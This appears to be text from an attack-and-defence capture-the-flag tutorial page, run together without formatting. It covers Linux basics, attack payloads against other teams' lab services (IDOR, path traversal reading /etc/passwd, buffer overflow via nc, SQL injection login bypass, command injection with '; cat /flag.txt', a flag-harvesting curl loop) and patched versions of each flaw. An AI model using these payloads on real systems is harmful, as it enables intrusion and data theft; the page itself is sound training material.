Learn how to defend and attack in the world of cybersecurity with realistic modules designed to build your skills step-by-step.
cybrbtls{16_random_characters}uptime = (successful injections / total attempts) x 100ssh user@your-container-ippwdls -lacd /path/to/directorycd .. to go up one level, cd / to go to the root, or cd ~ to go to your home directory.cat filename.txtless filename.txt to scroll through it page by page (press q to exit).head -n 20 filename.txthead with tail to see the last lines instead.find / -name "*.py" 2>/dev/null.py. The 2>/dev/null part hides permission-denied errors so the output stays clean.grep -r "password" /var/www//var/www/. The -r flag means recursive — it searches subdirectories too. This is extremely useful for finding hardcoded credentials or understanding how a service handles authentication.ps auxnetstat -tlnpnano filename.pyCtrl+O to save and Ctrl+X to exit. If nano is not available, try vi instead.chmod +x script.shls -la /etc/shadow/etc/shadow is world-readable, that is a vulnerability worth patching.scp user@other-team-ip:/path/to/file ./local-copyls -la /var/www/netstat -tlnpgrep -r "flag" /var/www/ 2>/dev/null/user/5 lets you see user 5's data, what happens if you change it to /user/1?curl http://other-team:9999/user/1
curl http://other-team:9999/user/2
curl http://other-team:9999/user/3../ sequences:curl http://other-team:9999/read?file=../../../etc/passwdpython3 -c "print('A' * 100)" | nc other-team 9999gets() that do not check input length, overflowing the buffer can overwrite return addresses or other variables, potentially giving you control of the program.-- If the login query looks like:
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
-- This input bypasses authentication:
' OR '1'='1; cat /flag.txtping $user_input, entering ; cat /flag.txt would execute both the ping and your injected command.cybrbtls{16_random_characters}curl -X POST http://other-team:9999/login -d "user=admin&pass=' OR '1'='1"nc other-team 9999final score = total points x (uptime% / 100)ps auxnetstat -tlnpls -la /var/www/# Before (vulnerable):
user = get_user(request.args['id'])
# After (patched):
user = get_user(request.args['id'])
if user.id != current_user.id:
return "Forbidden", 403# Before (vulnerable):
filename = request.args['file']
return open(filename).read()
# After (patched):
filename = os.path.basename(request.args['file'])
safe_path = os.path.join('/var/www/data', filename)
return open(safe_path).read()# Before (vulnerable):
query = f"SELECT * FROM users WHERE name = '{username}'"
# After (patched):
query = "SELECT * FROM users WHERE name = ?"
cursor.execute(query, (username,))# Before (vulnerable):
os.system(f"ping {user_input}")
# After (patched):
import subprocess
subprocess.run(["ping", user_input], shell=False)// Before (vulnerable):
gets(buf);
// After (patched):
fgets(buf, sizeof(buf), stdin);# Restart the service (method varies by scenario)
systemctl restart myservice
# or
kill -HUP $(pgrep myservice)gets()for team_ip in 10.0.1.1 10.0.2.1 10.0.3.1; do
curl -s "http://$team_ip:9999/read?file=../../../flag.txt"
donecp service.py service.py.bak